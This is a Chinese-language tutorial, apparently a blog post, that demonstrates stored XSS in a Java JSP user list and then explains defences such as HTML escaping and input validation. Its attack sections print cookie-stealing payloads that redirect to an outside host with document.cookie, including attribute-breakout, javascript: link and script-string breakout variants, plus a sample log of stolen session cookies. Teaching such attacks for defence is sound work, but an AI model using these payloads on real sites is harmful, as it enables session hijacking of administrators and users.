XSS 攻击&防御实验

不要觉得你的网站很安全,实际上每个网站或多或少都存在漏洞,其中xss/csrf是最常见的漏洞,也是最容易被开发者忽略的漏洞,一不小心就要被黑

下面以一个用户列表页面来演示xss攻击的实验

假设某个恶意用户在注册时输入的用户名中包含攻击代码

首先准备一个jsp页面来显示用户列表

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<html>
<head>
<table>
<c:forEach items="${users}" var="user">
<tr>
<td>${user.userId}</td>
<td>${user.name}</td>
</tr>
</c:forEach>
</table>
</head>
<body>
</body>
</html>

然后模拟一个control从数据库取出用户列表,显示在该页面上

public class UserController extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//这里模拟从数据库中查询出来的用户
List<User> users = new ArrayList<User>();
users.add(new User(1 , "赖宝"));
users.add(new User(2 , "<script>alert('你被攻击了!');</script>"));
req.setAttribute("users" , users);
req.getRequestDispatcher("/users.jsp").forward(req,resp);
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req , resp);
}
}

当用户访问这个control后进入到用户列表页面,就会看到下面这样的效果了。

用浏览器的查看源代码功能可以看到页面的源代码如下:

<html>
<head>
<table>
<tr>
<td>1</td>
<td>赖宝</td>
</tr>
<tr>
<td>2</td>
<td><script>alert('你被攻击了!');</script></td>
</tr>
</table>
</head>
<body>
</body>
</html>

从html源代码中可以看出有脚本被插入到了页面并且被执行了。

上面这个例子的攻击者就是某个不怀好意的注册用户 , 被攻击者就是查看用户列表的一个管理员

高级攻击

当然,上面这样的攻击对被攻击者也造成不了多大的威胁,只是一个弹出而已,如果将攻击代码改成下面这样,你估计就不会这么觉得了。

//假设恶意用户又注册了用户名中包含攻击代码的用户
users.add(new User(3 , "<script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script>"));

当管理员再进入用户列表页面时就会发生悲剧了,首先看一下html源码变成啥样了

<html>
<head>
<table>
<tr>
<td>1</td>
<td>赖宝</td>
</tr>
<tr>
<td>2</td>
<td><script>alert('你被攻击了!');</script></td>
</tr>
<tr>
<td>3</td>
<td><script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script></td>
</tr>
</table>
</head>
<body>
</body>
</html>

上面的脚本执行了页面跳转,跳转到了一个攻击者的钓鱼网站,并且将当前用户的cookie,当前url等信息都当作参数传过去了。这个问题就大啦,熟悉http的都知道,有了cookie就相当拿到了当前用户的登录信息,攻击者就可以拿这些信息以管理员的身份访问用户列表了。

管理员的访问用户了列表页面后,浏览器变成了这样。(注意看浏览器地址栏,跳转到了钓鱼网站,并且将cookie和url传递过去了)

此时攻击者应该守在电脑屏幕等着网站管理员被攻击,此时他就能看到他的钓鱼网站的访问日志,日志中包含了被攻击用户的cookie与所访问的url

115.182.230.165 - - [22/May/2016:13:11:24 +0800] "GET /?c=__csrf_token__=8xK1wQ3t;%20JSESSIONID=6ub7dbn1pdwl1i1t3wms4i2jl&url=http://localhost:8080/user HTTP/1.1" 200 132 "http://localhost:8080/user" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"

这样攻击者就能立马模拟被攻击者的用户信息去访问用户列表页面,如果用户列表中包含用户的很多隐私信息,比如电话,身份证号码,密码(一般不会啦)那么就真的悲剧了,此时攻击者能干什么事,就取决于被攻击用户拥有什么权限了,如果是一个很高级别管理员被攻击,将会有更悲剧的事情发生,各位可以自行脑补

除了直接输出到html标签内的代码可能被攻击,如果攻击代码出现在html标签的属性中也有可能被攻击

比如页面改成下面这样:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<html>
<head>
<table>
<c:forEach items="${users}" var="user">
<tr>
<td>${user.userId}</td>
<td userName="${user.name}">用户信息</td>
</tr>
</c:forEach>
</table>
</head>
<body>
</body>
</html>

当管理员访问页面时,浏览器查看html源码如下:


<html>
<head>
<table>
<tr>
<td>1</td>
<td userName="赖宝">用户信息</td>
</tr>
<tr>
<td>2</td>
<td userName="<script>alert('你被攻击了!');</script>">用户信息</td>
</tr>
<tr>
<td>3</td>
<td userName="<script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script>">用户信息</td>
</tr>
</table>
</head>
<body>
</body>
</html>

看到的页面如下:

页面显示正常,因为脚本信息被两个引号给包住了,脚本被当作一个普通字符串属性处理了,所以没有执行。

接下来把攻击脚本稍微修改

//脚本前面加了 ">
users.add(new User(3 , "\"> <script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script>"));

然后再看看此时html源码

<html>
<head>
<table>
<tr>
<td>1</td>
<td userName="赖宝">用户信息</td>
</tr> <tr>
<td>2</td>
<td userName="<script>alert('你被攻击了!');</script>">用户信息</td>
</tr>
<tr>
<td>3</td>
<td userName=""> <script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script>">用户信息</td>
</tr>
</table>
</head>
<body>
</body>
</html>

因为html如果找到一个>符号,就会关闭上一个标签开始下一个标签,所以攻击脚本中估计制造一个”>符号将td标签关闭,接下来的<script>脚本就能正常执行了。

上面的例子只是xss攻击方式里面比较常见的几种,但是足以说明xss攻击的原理与严重性,xss攻击方式是各种各样的,需要开发者在平时的开发中多注意,只要页面上需要展示不确定(用户输入的)的内容,都需要仔细对待

XSS防御

页面上直接输出的所有不确定(用户输入)内容都进行html转译

也就是将所有的[<,>,”,,&]等符号都用[<,>,",&]字符进行替换,这些html标签符号被替换后,浏览器就会拿它当作一个普通字符串对待,而不是当作一个标签的开始/结束标志对待。 比如下面的攻击代码在输出前进行转移

 String content = "<script>alert('ok');</script>";
content= StringEscapeUtils.escapeHtml4(content);
//被转后后成为了&lt;script&gt;alert('ok');&lt;/script&gt;字符串,然后再输出到浏览器

浏览器就不会将转译后的字符串当中脚本执行,而是直接输出一个字符串。 浏览器显示如下:

这样就已经能防御大部分xss攻击了

<a>标签的href属性中不要包含不确定(用户输入)的内容

上面的转译能够解决直接输出在html中的内容,原理是将脚本标签中的<>等符号转译替换掉,但是还有一些情况下执行脚本,是不一定要依赖标签的,也就是脚本不需要用<script></script>包住,那么转译对这种脚本就不起作用了,比如a标签中的href属性,除了直接指定一个url进行跳转,还可以通过javascript:xxx();的方式执行js代码。

比如注册用户信息是还要求用户输入一个博客地址(一个url),用户管理后台的列表中再加一列,让管理员直接点这个链接去访问用户的博客。

<td><a href="${user.blog}">博客地址</a></td>

攻击者在注册用户时,博客地址如果输入下面这样的脚本:

javascript:window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href

那么当管理员点击这个链接的时候,跟之前一样的悲剧就又发生了,管理员的登录信息又被攻击者盗取了。

所以千万不要直接将用户输入的信息输出到href属性中,即使一定要输出,也应该将内容中的javascript/document/cookie/…等js关键字替换掉 , 最好的方式就是直接将这个信息转译后输出到页面,让管理员复制链接然后再去打开博客

同样的还有onclick , onload , on… 等属性中也千万不要直接放置不确定的内容进去。

script脚本中不要使用不确定的内容

下面假设一个场景: 比如某个直播网站,主播可以设置昵称,用户可以进入该房间观看直播。并且js要用到该主播的昵称,比如要用js将主播昵称放到屏幕中间做一个滚动的效果。

某个开发人员像下面这样写代码 :

<script>
//获取主播昵称
var starNick = '${starNick}';
//让主播昵称在屏幕中间滚动
rollingStarNick(starNick);
</script>

看起来似乎没啥问题,但是主播如果是一个懂xss攻击,并且想盗取观看用户帐号信息的人。那么问题就大了。

假如主播将昵称改为如下代码:

';window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href;'

当用户进入房间后,脚本部分源码将变成这样:

<script>
var starNick = '';window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href;'' ;
rollingStarNick(starNick);
</script>

攻击脚本最前面的 ‘; 是为了结束变量starNick的定义,不然直接放要指定的脚本会被包裹在两个引号”中作为普通字符串处理。

悲剧发生了~,只要进入到这个房间,就会自动跳转到钓鱼网站,并且将cookie信息也传过去了。

对用户输入内容格式做校验

出现上面情况的前提是,服务端没有对用户输入的内容进行校验。假如服务端校验了博客地址是否是一个url格式、用户名是否包含特殊字符等信息,也就不会发生上面这些攻击了,所以服务端最好对用户输入的内容都进行格式校验。

防御总结

看完上面的例子之后,你还觉得你的网站非常安全吗~ ? xss攻击方式多种多样,常见的攻击方式上面都有举例,按照上面的几条防御原则,基本能防御绝大部分攻击了。当然还是需要开发人员格外细心,因为任何一个不注意,就可能导致严重的后果。

XSS 攻击实验 & 防御方案的更多相关文章

  1. web安全-XSS攻击及防御

    XSS攻击的原理 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻 ...

  2. XSS攻击的防御

    XSS攻击的防御 XSS 攻击是什么 XSS 又称 CSS,全称 Cross SiteScript,跨站脚本攻击,是 Web 程序中常见的漏洞,XSS 属于被动式且用于客户端的攻击方式,所以容易被忽略 ...

  3. 转---如何让前端更安全?——XSS攻击和防御详解

    前言 平时很少关注安全这块的技术,曾经也买过一本<Web前端黑客技术揭秘>但至今还没翻过,尴尬.今天的早读文章由腾讯优测@小吉带来的分享. 正文从这开始~ 最近深入了解了一下XSS攻击.以 ...

  4. 前端XSS攻击和防御

    xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...

  5. XSS攻击及防御

    XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.其原理是攻击者向有XSS漏洞的网站中输入 ...

  6. XSS攻击及防御(转)

    add by zhj: 略有修改.另外还有一篇文章值得参考,使用 PHP 构建的 Web 应用如何避免 XSS 攻击,总得来说防御XSS的方法是客户端和服务端都 要对输入做检查,如果只有客户端做检查, ...

  7. xss攻击与防御

    一.XSS攻击 Cross Site Scripting跨站脚本攻击 利用js和DOM攻击. 盗用cookie,获取敏感信息 破坏正常页面结构,插入恶意内容(广告..) 劫持前端逻辑 DDos攻击效果 ...

  8. Web 安全之 XSS 攻击与防御

    前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...

  9. Web 攻击之 XSS 攻击及防御策略

    XSS 攻击 介绍 XSS 攻击,从最初 netscap 推出 javascript 时,就已经察觉到了危险. 我们常常需要面临跨域的解决方案,其实同源策略是保护我们的网站.糟糕的跨域会带来危险,虽然 ...

随机推荐

  1. Algorithm-4th part I 学习进度 (7/12)

    在cousera跟着书的原作者学习<算法>第四版.记录以下学习进度. 课后习题代码见我的GitHub 2018.09.22 : Priority Queues 使用完全二叉树实现优先队列 ...

  2. OGNL和类型转换

    转载 JavaWeb -- Struts 数据传输:OGNL和类型转换 1. 数据传输:OGNL和类型转换 OGNL和struts2 OGNL:Object-Graph Navigation Lang ...

  3. Laravel中的路由管理

    //路由中输出视图Route::get('/', function () { return view('welcome');}); //get路由请求Route::get('get',function ...

  4. C#简单的国际化

    1.新建一个资源文件夹,并在资源文件夹新建中英问的资源文件,如图: 2.中英文资源文档添加资源,如图: 3.Program.cs中添加根据系统语言确定中英文,这里默认为英文: using Intern ...

  5. 玩转phpstorm之terminal

    启动快捷键  Alt+F12 启动之后,像这样 第一次进入这个配置默认显示的是cmd窗口,现在我们将其换成git 命令行窗口,毕竟git才是boss first 将cmd换成我们是先在电脑上安装完成的 ...

  6. Linux下新建一个站点

    Apache+nagix使用Lnmpa创建一个新的站点 我们在部署服务器的时候通常会遇到需要分域名和分应用部署,那么如何通过Apache+nagix创建一个新的站点服务呢 LNMPA这种架构有什么优势 ...

  7. Lightoj1093 【线段树】

    题意: 给出n个数,然后对于D区间的数求一个最大差值 思路: 区间最大最小...我居然没想到线段树... #include <bits/stdc++.h> using namespace ...

  8. 骨骼蒙皮动画(SkinnedMesh Animation)的实现

    http://blog.csdn.net/zjull/article/details/11529695 1.简介 骨骼蒙皮动画,简称骨骼动画,因其占用磁盘空间少并且动画效果好被广泛用于3D游戏中,它把 ...

  9. web前端篇:html基础知识

    目录 1.web前端: 2.HTML概述 2.1HTML介绍 2.2HTML在计算机中如何表现 3.HTML基础语法 4.练习题: 1.web前端: 什么是web? web 就是网页,是一种基于B/S ...

  10. 分布式集群环境下,如何实现session共享五(spring-session+redis 实现session共享)

    这是分布式集群环境下,如何实现session共享系列的第五篇.在上一篇:分布式集群环境下,如何实现session共享四(部署项目测试)中,针对nginx不同的负载均衡策略:轮询.ip_hash方式,测 ...